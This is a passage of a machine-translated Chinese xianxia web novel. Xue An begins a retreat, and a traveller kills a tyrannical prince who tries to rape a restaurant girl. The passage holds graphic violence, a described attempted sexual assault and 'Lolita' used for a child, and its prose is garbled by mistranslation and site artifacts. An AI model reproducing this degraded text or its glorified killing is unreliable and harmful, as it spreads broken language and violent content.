    Seeing An Yan''s playful expression, Xue An recalled, "Okay! I dare to play as a husband, and see how I can deal with you!"


    With that, Xue An stretched out his hand and started to tick An Yan''s body.


    He knows very well that Anyan is sensitive by nature, and what he fears most is someone itch her.


    really.


    Before Xue An''s hand actually touched, An Yan couldn''t help laughing.


    "Husband, I know I was wrong, don''t tick it hahahahahahaha!"


    Of course Xue An would not give up so easily. After a few random scratches, An Yan was completely limp and became a ball, and then began to swear forgiveness.


    "I was wrong, I was wrong, husband, I won''t dare anymore!"


    Xue An stopped the evil "claws" and chuckled in An Yan''s ear; "Don''t you dare to do anything?"


    "I will never say that you are a big pig''s hoof anymore!"


    "Is that so?" Xue An smirked narrowly.


    "What about me..."


    Before the latter words were finished, An Yan''s mouth was blocked.


    An Yan''s eyes widened in an instant, then turned into a stream of autumn water, and responded enthusiastically.


    a long time.


    An Yan''s cheeks flushed, leaning against Xue An''s arms, she suddenly bit Xue An viciously.


    "Hiss, what are you doing biting me?"


    "Hmph, you are the one who bites! Whoever lets you, a big badass, big pig''s hoof, bullies me!" An Yan said viciously.


    Xue An didn''t reply, but he smiled, anyway, he had enough of the advantage, so he didn''t care about being scolded.


    After laughing for a while, An Yan''s complexion became solemn, and he whispered: "Husband, do you really want to leave?"


    Xue An smiled and shook his head, "Who said I''m leaving?"


    "Huh?" An Yan was taken aback.


    Xue An stroked her hair with a smile, and whispered softly: "You have guessed wrong at all. I am not leaving this time, but going in seclusion for a while!"


    "Retreat?"


    Xue An nodded, "Yes!"


    Then Xue An recounted the whole experience of encountering the Blessed Buddha.


    After listening, An Yan couldn''t help but burst into tears.


    "This world-honor is simply too great, he is a magnificent immortal emperor, but he can sacrifice his life in order to save the people of the world."


    Xue An couldn''t help but sighed, "Yes! Sometimes these Buddhas are pedantic and almost cute, but sometimes they are very admirable."


    "This time I inherited all the gods of the World-Honored One, but because these gods are too large, even I can only temporarily store them in the sea of ??consciousness. If I want to truly understand the connection, I must conduct a retreat. "


    An Yan naturally knew the importance of this matter. The ten-year period seemed to be very long, but on the scale of the heavens, it was only fleeting.


    Therefore, she nodded solemnly, "Don''t worry, husband, now I also have half of Da Luo''s cultivation base, and with the help of Xiaosha, I can take care of my two daughters and protect you!"


    Xue An smiled and squeezed An Yan''s nose, "Silly Yan''er, you just need to take care of yourself. I don''t need you to worry about protecting my law! After all..."


    A dangerous light flashed in Xue An''s eyes, "If anyone in the heavens dares to take the opportunity to make trouble, I will definitely let him know how Xue is written!"


    An Yan had a mindless trust in Xue An''s words, so he nodded and said: "Then how long do you want to retreat, husband?"


    "At most one year, a few months may be enough!"


    "Yeah! Then I''ll wait for you to come back!" An Yan said very solemnly.


    Seeing that she was so cute, Xue An couldn''t help kissing her forehead again, and then said with a smile.


    "Okay, tidy up, and then go out with me thinking about them!"


    At this time, in the core pure land, the monks were anxiously waiting for Xue An''s return.


    "What did the leader do? Didn''t he say to go and go back? Why did he go for so long?" Baimei Luohan said uneasyly.


    Compared to his anxiety, Yue Ji was much calmer, and saw him smile slightly, "After all, Lao Bai, there will be nothing wrong with the leader. Just put your heart back in your stomach and wait!"


    "But I''m still scared!" Baimei said with a frown.


    The current Buddhism cultivation has been extremely weak, and there is no room for the slightest mistake.


    "Afraid? Haha, don''t worry, in front of this adult, only others have been afraid of him, and he has never been afraid of others!" Yue Jing said very confidently.


    The white-browed Arhat couldn''t help but glance at him, "You seem to be very confident in the leader?"


    "This is not faith, but facts!" At this point, Yue Jing smiled and exclaimed: "You have lived in the Buddhist temple for a long time, and you don''t know how powerful this Master Xue is!"


    At this moment, when Guanghua flashed, Xue An appeared in front of everyone with An Yan and two little girls.


    And behind them, Xiao Sha, Zhang Xiaoyu and Chan''er also appeared.


    The monks were stunned.


    Because many people didn''t expect that Xue An just left but brought back so many people, and even a pair of little girls like pink jade.


    Only Yue Ji smiled, and then took a step forward.


    "Master!"


    Xue An nodded, "This is my wife and child, behind my two guards and maid."


    Everyone was stunned.


    Bai Mei couldn''t help but put his palms together, and exclaimed with joy: "The daughter of the leader is really smart and cute, with extraordinary talent!"


    But Gong Yunjun, who was standing behind the crowd, trembled all over, and then his face became pale.


    Mu Wushuang felt the strangeness of Gong Yunjun from the side, and understood the reason after a little thought, and couldn''t help but whispered: "Jun Yun, you..."


    But before she finished speaking, Gong Yunjun shook his head, "No need to say, I''m fine! I''m happy for adults!"


    As he said, a pale smile appeared on Gong Yunjun''s face, "As long as the adults can be happy, I will be happier than anything!"

 Chapter 1948： Offer a reward

    Mu Wushuang was silent for a moment, and finally sighed slightly before speaking again.


    At the same time, Xue An commanded: "I will retreat immediately, and after the retreat, the affairs of the Pure Land Buddha Kingdom will be temporarily handed over to Yue Ji!"


    "Yes! The disciple understands!" Yue Ji looked solemn and bowed his head.


    White-browed Arhat said: "Since the leader wants to retreat, it is better to go to the Genting Temple, and it will be convenient for me to wait for you to protect the law!"


    Xue An shook his head, "No need! I do not need to wait for the Dharma in this retreat. Your top priority is to save the world as soon as possible and develop new disciples of Buddha cultivation. Otherwise, you want to revitalize the Buddha. China, it is destined to be nothing but empty words!"


    "But..." Bai Mei hesitated.


    Xue An smiled, "Don''t worry, I have my own arrangements for the protection of the law!"


    Baimei put his hands together and took his orders, "Yes! Disciples obey orders!"


    Xue An squatted down again, kissed one person on the cheek of thinking and Niannian, and then said with a smile: "When I am in retreat, you have to listen to your mother, don''t be naughty, you hear?"


    "Yeah! Dad, don''t worry, we will definitely protect you with mom!" Think about it with a serious little face.


    With tears in her eyes, Nian Nian nodded solemnly.


    Xue An just stood up and stepped to before the big hole.


    Xue An had previously sealed the entrance of this big hole with a talisman seal.


    Now the golden light above is like the sea, dazzling.


    Xue An stepped on the void and came to the center of the golden light, then sat down cross-legged, and slowly closed his eyes.


    boom!


    The golden light blew up, rolled up a huge wave, and then completely submerged Xue An''s figure.


    After the brilliance dissipated, the surrounding area of ??this big hole was suddenly full of red lotus, full of holy beauty.


    The monks put their palms together, and admired them together: "Nan Wuyou Buddha!"


    And Zhang Xiaoyu suddenly said: "Is this blooming, my lord?"


    Snapped!


    As soon as the voice fell, Xiao Sha slapped her head directly, and said with a stern face: "Stop **** bullshit, and then bullshit. Believe it or not, I will weave your tentacles into a Chinese knot?"


    Zhang Xiaoyu smirked, and covered his head with aggrieved eyes, "Am I just saying that? As for playing so hard, it''s all swollen...!"


    "It''s you, why, have any opinions?"


    "Ah no no..."


    "Hmph, forgive you for not dare!"


    At this moment, An Yan said solemnly: "Okay, stop making trouble, Xiao Sha!"


    Xiaosha said with a solemn expression, "My mistress, what''s your order!"


    "Your master is now in retreat. In order to prevent anyone from taking the opportunity to cause chaos, you must guard here strictly without error, understand?"


    Xiao Sha slapped his chest with a loud sound, "My mistress, please don''t worry, as long as there is my Xiaosha, no one can get close to the master."


    An Yan nodded, then looked at Mu Wushuang and Gong Yunjun in the distance, and smiled slightly.


    "Are you two waiting here too?"


    Mu Wushuang immediately replied, "Of course, my lord is kind to me, and now I naturally want to repay him!"


    Gong Yunjun didn''t speak, but nodded silently, then walked to the side and sat down, showing his attitude with actions.


    At this point, the entire core pure land has become busy.


    Bai Mei and others began to preach and transform the Tao and develop new Buddhist disciples.


    Yue Jing is responsible for the affairs of Buddhism.


    As for An Yan and others, they have been waiting before the entrance of the cave, waiting for the day when Xue An left the customs.


    And when Xue An was in retreat, the entire heavens began to become turbulent, and the situation became more turbulent.


    Because people were shocked to discover that despite the full pursuit of the Royal Palace, Xuanming Tomb and the major sects, Xue An, who had refined the thousands of Tianjiao and committed the "wrath of all", seemed to have evaporated, disappearing without a trace, even There wasn''t even a shred of news.


    This could not help making many people start to wonder.


    Where did this former Red Lotus Immortal Venerable go?


    Why can''t you even see the slightest trace?


    As for the sects such as the Palace of the Human Emperor and Xuan Ming Ling, they were even more angry about this. The intensity of the arrest has not weakened, but has become more and more tight.


    Because if they couldn''t even find a trace of Xue An, if they ended up in a hurry, they would definitely become a big laughing stock in the heavens.


    Therefore, with the passage of time, the whole heavens became turbulent.


    From time to time, there will be news that Xue An''s traces have been found somewhere, but in the end these news without exception have been proved to be false.


    In this case, the atmosphere became more and more tense.


    Especially when Renhuangdian and Xuanmingling have issued reward announcements, as long as they can provide the exact news of Xue An, there will be extremely rich rewards.


    The heavens are boiling again.


    Many people started looking for Xue An''s whereabouts with red eyes.


    And just in this case, in a planet where the spiritual power is not strong or weak, and the strength is also the average level of the heavens.


    Two figures, one big and one small, are walking slowly.


    "Hey uncle, how long do we have to walk like this?" The small figure lifted the cloak, revealing a delicate and tender face.


    This is a little Lolita no more than eight or nine years old. She looks very attractive, especially her eyes are very clear, black and white, bones are turned back and forth, very strange.


    But the most striking thing is the red mole between her brows.


    This red mole is as if it had been dotted with cinnabar, red like blood, with a hint of mystery.


    At this moment, the figure on the side also slowly raised his head, revealing a cheek that was almost evil and handsome.


    It''s just that there is a touch of exhaustion in his eyes, but after hearing the little girl''s words, he still smiled dozingly.


    "Are you tired from walking?"


    "Tired isn''t too tired, it''s just too boring! And where are you going to take me?" Little Lori raised her face and asked.


    The man smiled, "Take you home!"


    "Home?" Little Lori showed a sense of sorrow in her eyes and then lowered her head, "I don''t have a home, so I was discarded as an ominous person since I was a kid!"


    At this moment, Little Lori felt a heavy shoulder, and when she looked up, she saw that the man was patting her shoulder solemnly.


    "You have to remember that it is not your home at all, and you are not an ominous thing, do you understand?"


    Little Lolita was a little dazed, but she nodded her head intensively, "Hmm! The home you are going to take me back to is far away?"


    "It''s far, but it should be here soon!" The man smiled, then raised his head and looked into the distance.


    It was the setting sun at the moment, and they were heading west again, so the sunlight dyed the road in front of them golden.


    "There should be a town shop in front. When we get there, we will take a break and eat something, how about it?"


    "Ok!"


    The two put on their cloaks again and stepped into the **** setting sun.

 Chapter 1949： Cai Mi Lolita

    This is a small town shop, the official road passes straight through the middle, and the merchants make it very prosperous.


    After all, not everyone can worship the sect and cultivate immortality, and only a few can fly in the air.


    Most people are ordinary mortals, living a life similar to that of the ancients on earth.


    That''s why this small town shop is so prosperous and full of market atmosphere.


    When the man led the little girl into this town, the little loli''s eyes were almost running out, and she secretly opened her cloak and looked at it.


    Especially when I saw those shiny trinkets, I couldn''t even move.


    But she was very restrained, when the stall owner smiled and asked: "Little girl, do you want to try it?"


    She shook her head, "No need!"


    But as soon as she said, the man on the side dropped a piece of gold casually, "Pack up everything, I want it!"


    The stall owner was overjoyed, "Yes, yes, I will put it up for you immediately!"


    When the stall owner started to install small accessories, little Lolita was a little anxious, "No, no, no, I don��t want that much..."


    The man patted her shoulder with a serious face, "Remember, as long as it is something you like, just open your mouth and ask for it, and I will give you the best. Don''t restrain yourself and wronged yourself like before. ,understand?"


    "Because you now...someone hurts!" the man said solemnly.


    Little Lolita was a little silly until the stall owner packed the things, the man took it, and then led the little Lolita to turn and leave.


    Little Lolita looked at the back of the stall owner happily and mumbled softly.


    "That''s a big piece of gold, it''s enough to buy half of the market, but only in exchange for such a small accessory, it''s really a loss and a prodigal!"


    "No, it seems that I will be in charge of the money from now on, otherwise I will watch him spend money like this, and I will feel sad!"


    Little Lori secretly made up her mind.


    Soon, the two of them passed through the bustling market and came to a small restaurant.


    Because the town shop is not big, even this restaurant has only two houses.


    But because it is close to the official road, business is very good.


    Standing at the door can smell the aroma of the food inside.


    When the two entered the restaurant, a pretty young girl greeted her with a smile.


    "What do you want to eat?"


    Before the man could speak, Lori said first: "What do you guys have the cheapest food?"


    "The cheapest?" The girl was taken aback for a moment, and then said with a smile: "The cheapest thing is soup, a bowl of three cents!"


    "Then have a bowl of soup cakes, do you want money for the soup?"


    "Of course soup doesn''t need money anymore!" The girl looked a little funny at this loli, who was like a little adult.


    "Okay, then add more soup and divide it into two bowls, okay?"


    "Divided into two bowls? Is that enough?"


    "Oh, don''t worry about enough. The big deal is that we can drink more soup? Anyway, I''m already used to being hungry!" Little Lori said plausibly.


    There was a touch of sympathy in the eyes of the big girl. In her opinion, the two must be embarrassed to a certain extent, otherwise, how could they say that they are used to being hungry?


    She just wanted to talk.


    At this moment, the man on the side slowly took off his cloak, and said lightly: "Yingluo, stop messing around!"


    As he said, he raised his head and said from the woman: "Serve all of your best food, and then make me a bowl of plain noodles and a cup of tea!"


    As he said, the man took out a piece of gold and handed it over.


    But this woman did not answer.


    Because she was stunned.


    Not only her, many people in this small restaurant are a little stupid.


    Because when the man took off his cloak, there was a bald head underneath.


    But such a shape did not detract from the handsomeness of this man, and even added a hint of evil charm.


    Especially the faint look of tiredness in his eyes added a kind of evil charm to him.


    People in this small town have never seen such a handsome person before, so they all look silly.


    At this moment, the man raised his eyebrows slightly and yelled softly: "Girl!"


    The woman in front of her trembled all over, waking up from shock, and then her face turned red to the base of her ears, she lowered her head and said vaguely.


    "I... I''ll make arrangements for you!"


    After all, he turned around and fled without taking the gold from the man''s hand.


    The man didn''t care about this, and went straight to an empty table and sat down.


    The little Lolita named Yingluo narrowed her mouth and muttered in a low voice, "Is there such a charm? It''s rare and weird!"


    Then he leaned over and said with a distressed expression on his face, "You don''t eat meat, so why do you have to order so many dishes? Isn''t it enough to simply eat?"


    The man smiled, "I don''t eat, but you can eat! You are now when you are growing up, so of course you want to eat better!"


    "I can just eat whatever I want, and I feel distressed when I spend so much money on it!" Yingluo said.


    The man took a deep look at Ying Luo and suddenly laughed.


    "What are you laughing at? Am I right? So much money is enough for me to eat for a year!" Yingluo said with a pouting mouth.


    "You! Sure enough, it hasn''t changed at all!" The man said with a smile, but his eyes were full of tenderness.


    "What has changed?" Yingluo''s head was full of question marks.


    The man shook his head, "Nothing!"


    At this moment, the girl in the running hall started serving dishes with a tray.


    I saw all kinds of food on the tray. Although the presentation was not very good, the taste was very fragrant. The key is that the amount of food was obviously much larger than the others.


    After the girl put the food on the table, she blushed and said: "You look like you should have come from a long distance, so I just told my dad that I will make you more dishes."


    While talking, the girl kept peeking at the man, and her words were full of shyness.


    The man didn''t have any expressions, just nodded, "Thank you!"


    Then he passed the gold.


    The woman waved her hand and said very seriously: "My father said, I can''t take you so much money."


    The man was taken aback for a moment, but Xuan even smiled and put the gold on the table.


    "Okay, let''s calculate it together at the end!"


    With that, he thoughtfully picked a bowl of vegetables for Yingluo and put it in front of her, and then picked up the plain noodles in front of him and took a bite.


    "How is it?" the girl asked very eagerly, her eyes full of expectation.


    The man nodded, "Yes!"


    "Hey I made this by myself, and the side was made with eggs. It is not fishy, ??but it is very fragrant!" The woman said very happily.


    "Thank you!"


    The woman''s face turned red to the root of her ears, and said to Ai Ai, "No thanks, you...you eat slowly, don''t worry!"


    With that, she turned around and ran away like flying.


    The man looked at her back and was lost in thought.


    Yingluo suddenly stopped beating and smashed the table hard, "Hey uncle, your eyes are going to fly out!"


    The man shook slightly, then smiled, did not refute, but lowered his head to continue eating noodles.


    But there was a doubt in his eyes.


    Because just now, he suddenly saw a dead air in this girl that was too strong to be removed.


    It seems...something bad is going to happen!

 Chapter 1950： Zhao Kingdom 3 Prince

    At this moment, a long line came along the official road.


    This team is so powerful that even the guards are clearly armored and very powerful.


    In the middle of the team is a large and exquisite car wheel, and a large flag is erected on the car wheel, on which a big word "Zhao" is written in dragons and phoenixes.


    The chariot was surrounded by people, and the merchants who had been walking on the official road all retreated to the side of the road.


    The courageous even fell directly to the ground, not even daring to raise his head.


    The chariot rumbled through the dust and headed to the small town.


    When the team passed by, the people on both sides of the road breathed out a lingering breath, and then whispered.


    "Isn''t this the third prince of our country Zhao? What did he do, why did he pass by?"


    "Didn��t you hear? This time the three princes went to the Qingming Immortal Sect to worship the mountain with a heavy gift, and finally moved an old **** and took him into the sect. Now the three princes are already the inner room of the Qingming Xianzong. Disciple!"


    "Hey! Doesn''t that mean that the three princes will also become immortal immortals?"


    "Hehe, it''s more than that. I heard that the third prince returned to Beijing this time and might inherit the great treasure and become the prince!"


    This remark silenced everyone around him.


    It took a while before someone smiled bitterly: "I was originally a nobleman of Heavenly Lake, but now he has become a descendant of the Azure Underworld Immortal Sect. Now, this third prince will be even more uncontrollable!"


    As soon as this remark came out, everyone was disgraced.


    Someone whispered: "Don''t talk nonsense, the third prince is now a member of the fairy sect, and there are various unpredictable methods. If he knows that someone is speaking badly behind his back, we will all not survive!"


    Everyone nodded one after another, and then dispersed in a hurry.


    And the reason these people are so afraid is that they all know how arrogant and domineering this third prince is.


    Bullying men and women is simply commonplace. He even takes pleasure in murder at every turn. These deeds have long made him synonymous with demons in Zhao Guomin.


    But he never expected that such a nonsense fellow could become a disciple of the Azure Underworld Immortal Sect.


    At this time, many people who had expected the three princes to be retribution were all disappointed.


    And just when many people bemoan the injustice of heaven.


    The third prince of the Zhao Kingdom, Zhao Jingsheng, has already walked into this small town with pride.


    As the rumors said, he has now worshipped the elder of the Qingming Immortal Sect and became the inner disciple of the Qingming Immortal Sect.


    Although he has not formally started practicing, the gift he gave was too rich, so the elder in charge of punishment personally cleansed his marrow through the Book of Changes and imparted the merits.


    So now he is very different from before, becoming a quasi-jinxian master.


    Although this strength is barely influx on this planet, after all, it is so different from the ordinary, it has already entered the path of repairing [��error Novel Network].


    In particular, the elder in charge of punishment personally rewarded him with a magic sword, which made him more confident.


    He was already arrogant and domineering, but now he is almost arrogant to the extreme, thinking that there is nothing else under the sun that can stump him.


    Therefore, he was supposed to fly back to the country of Zhao, and he deliberately made these battles, just to let the common people all over the world know that he is good at Zhao Jingsheng.


    now.


    He happily played with the wine glass in his hand, and then looked at the street view outside through the car window.


    Because of his arrival, the entire street has been cleared.


    Everyone was driven to both sides of the road, standing against the wall, not even daring to move.


    Zhao Jingsheng looked down at these people condescendingly, the corners of his mouth gradually raised, revealing a cold smile.


    "It''s really a group of fools who have never seen the world, and they don''t even know how to kneel when they see this emperor!"


    When the words fell, the brilliance flashed in his eyes, releasing his power and covering the entire long street.


    boom!


    Although this Zhao Jingsheng is not the strength of the quasi-jinxian, this coercion is not something ordinary people can bear.


    So after a scream, these people all knelt on the ground and could no longer move.


    Zhao Jingsheng nodded with satisfaction.


    "Is that the right way? I didn''t kneel down when I saw the emperor. This is the punishment for you!"


    With that, he laughed arrogantly.


    Amidst the laughter, the team continued to walk around.


    But at this moment, Zhao Jingsheng suddenly stopped laughing, and then said solemnly: "Stop!"


    With an order, the convoy stopped instantly.


    Then an officer hurried forward.


    "His Royal Highness, what is your order?"


    Zhao Jingsheng didn''t speak, because his eyes were all attracted by the woman in the small restaurant.


    At this moment, the woman was clearing the table in the lobby, without realizing that there was a silver evil staring at her outside.


    This girl is actually not particularly good-looking, the key is that she is fascinated by her pure and beautiful temperament.


    So Zhao Jingsheng was a little dumbfounded before he knew it.


    As Zhao Jingsheng��s subordinate, how could this officer fail to see the doorway, so he smiled, and whispered: "His Royal Highness? Do you want me to arrest this civilian girl..."


    "No need!" Zhao Jingsheng grinned, a look of hostility appeared on the rather handsome face, and said with a strange smile.


    "The emperor is also a bit hungry. I think this little restaurant should taste good, so I just go down and taste it!"


    With that, he lifted the driving curtain, stepped out of the car, and then came to this small restaurant.


    The people in the small restaurant have naturally seen such a big battle.


    None of them dared to go out, but silently prayed in their hearts, hoping that the magic star-like third prince would leave quickly.


    But never expected that the third prince would not leave, and got out of the car and came to this small restaurant.


    At this time, both the diners and the folks in the small restaurant panicked.


    Yingluo was naturally aware of this and couldn''t help but whispered, "Uncle."


    The man didn��t even lift his head, he was concentrating on dealing with the noodles in the bowl After hearing Yingluo��s shout, he said calmly: "Stop talking, continue eating!"


    Yingluo squeezed her mouth, and then she didn''t say anything, but her big eyes kept turning around, peeking in the direction of the entrance of the restaurant.


    at the same time.


    The third prince, Zhao Jingsheng, has entered the restaurant.


    With his status and status, he usually embraces him no matter where he goes, and this time is no exception.


    The girl in the hall looked pale and looked at the crowd who suddenly came in, her brain blank.


    She was just an ordinary girl, because her father opened this small restaurant and the small business couldn''t afford to hire too many people, she was forced to show her face and set up a running hall.


    Therefore, she had never seen such a formation at all, and she was shocked.


    At this moment, someone wiped off the table, Zhao Jingsheng sat down, and then smiled at the running girl.


    "Why? Don''t you entertain?"

 Chapter 1951： Let me eat a bowl of noodles quietly

    The girl in the hall was trembling all over, and her father also rushed over from the back kitchen. Seeing this, he hurriedly walked a few steps forward with a smile on his face, and said with a bow and bow.


    "My lord, this child has never seen the world. Don''t be familiar with her. If you have any needs, just tell me..."


    Before he finished speaking, Zhao Jingsheng raised his eyebrows slightly, and an officer behind him immediately rushed forward, raising his hand and slapped the old man viciously.


    "Old fellow, your Highness didn''t ask you, what qualifications do you have to speak?"


    The running girl screamed, "Father!"


    The old man''s mouth and nose were bleeding, but he didn''t even dare to move, so he could only keep bowing.


    At this moment, Zhao Jingsheng said indifferently: "Okay, I haven''t eaten yet, I don''t have any appetite after seeing a lot of blood!"


    The officer immediately bowed and retreated.


    Then Zhao Jingsheng, the third prince, waved to the girl and said with a smile, "Come here!"


    The running girl was full of anger, but due to the situation, she came forward slowly.


    When I got closer, I felt the pure aura on the girl in the hall and looked at her delicate cheeks, and the greed in Zhao Jingsheng''s eyes became thicker.


    But he concealed it superbly on the surface, smiling and saying: "I think your little restaurant is good, do you have any special dishes?"


    "No!" The girl shook her head and replied stiffly.


    "Bold!" Someone scolded immediately.


    Zhao Jingsheng waved his hand, and then said lightly: "Then choose your most expensive dish and make me a table. I want to taste it. If it is done well, I will have another reward!"


    The running girl was furious, but she also understood that she couldn''t provoke others, so she bowed her head and responded, and then helped her father back down together.


    No one in the lobby dared to speak, and people''s heavy breathing could be heard quietly.


    Sitting in the corner, Yingluo witnessed the whole process, and couldn''t help but glared at Zhao Jingsheng in the distance with anger, and then looked at the opposite man, the meaning was obvious.


    Don''t you care about this?


    Unexpectedly, the man did not look up at all, as if nothing happened in the outside world had nothing to do with him.


    This little loli couldn''t help being even more angry when she saw this, but she had a calmness and restraint far surpassing her peers, and she actually endured it and watched all this silently.


    At this moment, the girl in the hall walked up with a tray, which was filled with steaming dishes.


    When the dishes were put on the table, the patron girl said coldly: "Guest officer, please use it slowly!"


    After that, turn around and leave.


    But Zhao Jingsheng stopped her, "Hold on!"


    The girl stopped, "Is there anything else the guest officer?"


    "These dishes...what are the names?" Zhao Jingsheng said with a smile.


    The girl in the hall shook her head, "It''s all rural dishes without a name!"


    "Then how about a name?"


    With that, Zhao Jingsheng grabbed the girl''s hand and said with a smile, "How about calling it Beauty Jade?"


    The patron girl was shocked, and then she struggled hard, "Guest officer, please respect yourself!"


    "Oh? Self-respect? What if I don''t have self-respect? Tsk tsk, it''s still the unbroken virgin of Yuan Yin, which is also of great benefit to my practice!" Zhao Jingsheng completely tore off the disguise at this time, and said with a silver evil face.


    The aggrieved tears of the girl in the hall were rolling in her eyes. Although she struggled hard, with her little strength, how could she shake the quasi-jinxian strength Zhao Jingsheng.


    At this moment, her father couldn''t help but rushed forward desperately.


    "My lord, the child is not sensible, please let her go!"


    But before he rushed to the front, several soldiers blocked the way, and the officer who slapped him quickly stepped forward and kicked him to the ground.


    "Damn, it''s your blessing that Your Highness can see your daughter. You don''t know how to be grateful. You dare to be squeaky and crooked, you really want to die!"


    As he said, the officer kicked again.


    The kick was heavier, and the old man vomited a big mouthful of blood.


    "Father!" The girl in the hall screamed.


    Then he looked at everyone present with praying eyes, hoping that someone would come forward to rescue them, father and daughter.


    But when she looked away, everyone bowed their heads and dodged.


    The girl''s heart gradually fell into despair, and suddenly remembering something, she looked at the man''s table with the last glimmer of hope.


    But she was still disappointed, because at this moment, the man was still eating noodles intently.


    It seems that this bowl of plain noodles is more attractive than all things outside.


    The running girl smiled sadly, her heart was completely desperate.


    At the same time, Zhao Jingsheng dragged her into his arms with anxious expression.


    There was a decisive look in the eyes of the running girl, and she slammed her hand up, slapped a hard slap in the face while the three princes gave her the soul.


    Snapped!


    This slap was so loud that the entire hotel lobby was quiet.


    Zhao Jingsheng was slapped, staring at the girl blankly, and then a big slap print quickly appeared on his cheek.


    Immediately afterwards, a terrible rage appeared on his face, and he screamed.


    "You bitch, dare to hit me, I want you to die!"


    As he said, he stood up with red eyes, grabbed the girl''s neck, and pressed it to the table in front of him.


    At this moment, this Zhao Jingsheng was almost mad.


    We must know that he has lived in an extremely superior environment since he was a child, and wherever he goes, he has been the focus of attention.


    Under pampering, let alone being beaten, I have never even been scolded.


    What''s more, now he has become a disciple of the Azure Underworld Immortal Sect he thinks he is a first-rate fairy, and naturally he can''t accept the fact that he was slapped in the face by a mortal woman.


    Therefore, his entire face was distorted with anger, "Bitch, don''t you know how to promote? Then today I will grab your yin in front of everyone, and then kill you! Let you die. Taste all the humiliation!"


    At this time, the girl in the hall was already aspiring to life and death.


    But Zhao Jingsheng had anticipated this a long time ago, and the brilliance flashed in his eyes, and the invisible pressure made the running girl stiff and could no longer move.


    "Hmph, want to die? It''s not that easy! Today I will ask you to survive and die!" Zhao Jingsheng said with infinite bitterness.


    With that said, Zhao Jingsheng stretched out his hand to untie the belt of the patronage girl.


    The brilliance in the eyes of the girl in the hall was gradually darkening, which was a sign that she had fallen into complete despair.


    But at this moment, a light sigh came from behind Zhao Jingsheng.


    "Can I just finish the noodles quietly? Why do I have to force me to do it in advance?"

 Chapter 1952： If you don’t make a move, you will cut the grass with one shot...

    As soon as this statement was made, the whole hall was shaken.


    The girl in the hall was even more shocked, and then raised her head to look at the speaker.


    I saw this man standing at the table with a look of boredom on his face.


    When Zhao Jingsheng saw this man he didn''t know him, his expression turned gloomy in an instant, "What are you, dare you come to stop this palace from having fun? Get out!"


    However, the man ignored Zhao Jingsheng��s clamor, but looked at the girl in the hall, and then smiled slightly, ��The plain noodles taste really good, thank you!��


    Somehow, when she saw the man''s smile, the running girl felt her nose sore, and her tears flowed down.


    When Zhao Jingsheng saw this, he was even furious, "Why? Want a hero to save the United States? You don''t weigh whether you are worthy!"


    As he said, Zhao Jingsheng took a palm and blasted at the man with the wind.


    Although he was a quasi-golden immortal who was forcibly refined, it was very watery!


    But no matter what the water is, it is still a quasi-golden fairy, so the power of this palm is quite terrifying, and a gust of wind blew in the hotel lobby.


    Zhao Jingsheng was proud of his face, but as soon as his palm reached halfway, he suddenly stopped.


    Because the man covered his palm with one hand lightly.


    Zhao Jingsheng''s face turned white, and he tried to shake the man away.


    But all his efforts failed. Although this man simply stood there, he looked like a mountain. No matter how Zhao Jingsheng urged him, he couldn''t shake it.


    There was a look of astonishment in Zhao Jingsheng''s eyes.


    At this moment, the man gave him a faint smile.


    "This palm, I will pay you back!"


    After that, the man raised his other hand and patted it down.


    boom!


    When the palm fell, Zhao Jingsheng felt as if the sky had collapsed, a mellow and radiant atmosphere, and a huge force that made people unable to resist even the heart to rise came crashing down.


    Zhao Jingsheng screamed, frantically urging all the cultivation bases to try to resist.


    But his efforts are as naive and ridiculous as if worms shake a tree.


    Without even the slightest pause, his palms destroyed all his resistance like a ruin, and then descended on his head.


    Zhao Jingsheng''s eyes showed infinite despair and horror, and hiss screamed: "Forgive me..."


    The man''s palm paused slightly.


    When Zhao Jingsheng saw hope, he immediately began to beg for mercy frantically, "My lord is forgiving my life, I don''t know you will be here, please forgive me not to die! I promise I will never dare again!"


    The man''s palm rested on top of his head, and then said lightly: "Do you know me?"


    Zhao Jingsheng shook his head, but immediately thought of something and nodded frantically.


    "Oh? Then who do you say I am?" the man asked with interest.


    "You...you are the great bodhisattva who saves suffering and disaster. I blame me for having no eyes, so I ran into you, please forgive me!" Zhao Jingsheng kept begging for mercy.


    The entire hotel lobby was deadly silent.


    People all looked foolishly.


    No one thought that such a shocking reversal would happen suddenly.


    This aggressive and bullish Zhao Jingsheng, in the hands of this man, didn''t even last a round before becoming a defeated player.


    This is nothing, the key is that Zhao Jingsheng''s crazy begging for mercy at this time is simply shocking.


    Who could have imagined that the three princes, who usually dominate and dominate, would behave so unbearably when facing death.


    Not even an ordinary person has come here with integrity.


    Faced with Zhao Jingsheng''s begging for mercy, the man did not respond, but turned his head to look at the girl in the hall.


    "Girl, did you say that this person was killed or let him go?"


    The running girl is also stupid.


    She didn''t expect things to become like this.


    In particular, the man has now given the right to choose to his own hands, which makes her face confused.


    However, Zhao Jingsheng trembled all over, and then looked at the patronizing girl with pleading eager eyes, and the pitiful person almost fell on her knees.


    The running girl hesitated.


    Of course she hated this Zhao Jingsheng, because he beat his father for no reason and tried to be rude to himself.


    But after all, he is the third prince of the Zhao country. If he were killed like this... wouldn''t his father and daughter also cause great disaster?


    Therefore, after pondering for a while, the running girl said softly: "My lord, let him go!"


    As soon as this remark came out, Zhao Jingsheng couldn''t help but let out a sigh, and thought to himself in his heart.


    This girl is quite acquainted, forgive you for not daring to treat me.


    Of course, these are the thoughts deep in his heart, but on the surface he dared not show anything, but looked at the man pleadingly.


    The man suddenly laughed, "Let it go?"


    "Yeah!" The running girl replied in a low voice.


    "Then do you know what will happen if you let him go?"


    Without waiting for the girl to answer, the man continued to speak on his own.


    "After we leave, he will definitely come back and arrest you and your father slowly and cruelly. At that time, death is a luxury for you. You won��t be eligible until he feels tired of playing. Go to death."


    The man said quietly, making everyone in the hotel lobby feel that their hairs are erect.


    Because the scene described by the man is terrible.


    The girl in the hall was shocked all over, and then looked at Zhao Jingsheng.


    At this time, Zhao Jingsheng''s face was as pale as paper, and there was a look of panic in his eyes.


    Because what the man just said was his true thoughts deep in his heart.


    He didn''t know how this man knew.


    At this moment, the man smiled at Zhao Jingsheng, "Am I right? Your Highness the Third Prince?"


    Zhao Jingsheng trembled, suddenly understood, and shouted in horror: "No, it''s not like this, I don''t..."


    The voice did not fall.


    The man''s palm fell suddenly and directly smashed Zhao Jingsheng''s head with a decisive posture.


    puff!


    The blood mingled with brains spilled all over the place.


    Zhao Jingsheng stared at the man with dull eyes, with an incredible expression on his face, as if he didn''t believe that he was so dead but soon, the brilliance in his eyes was completely extinguished.


    Then the corpse fell to the ground.


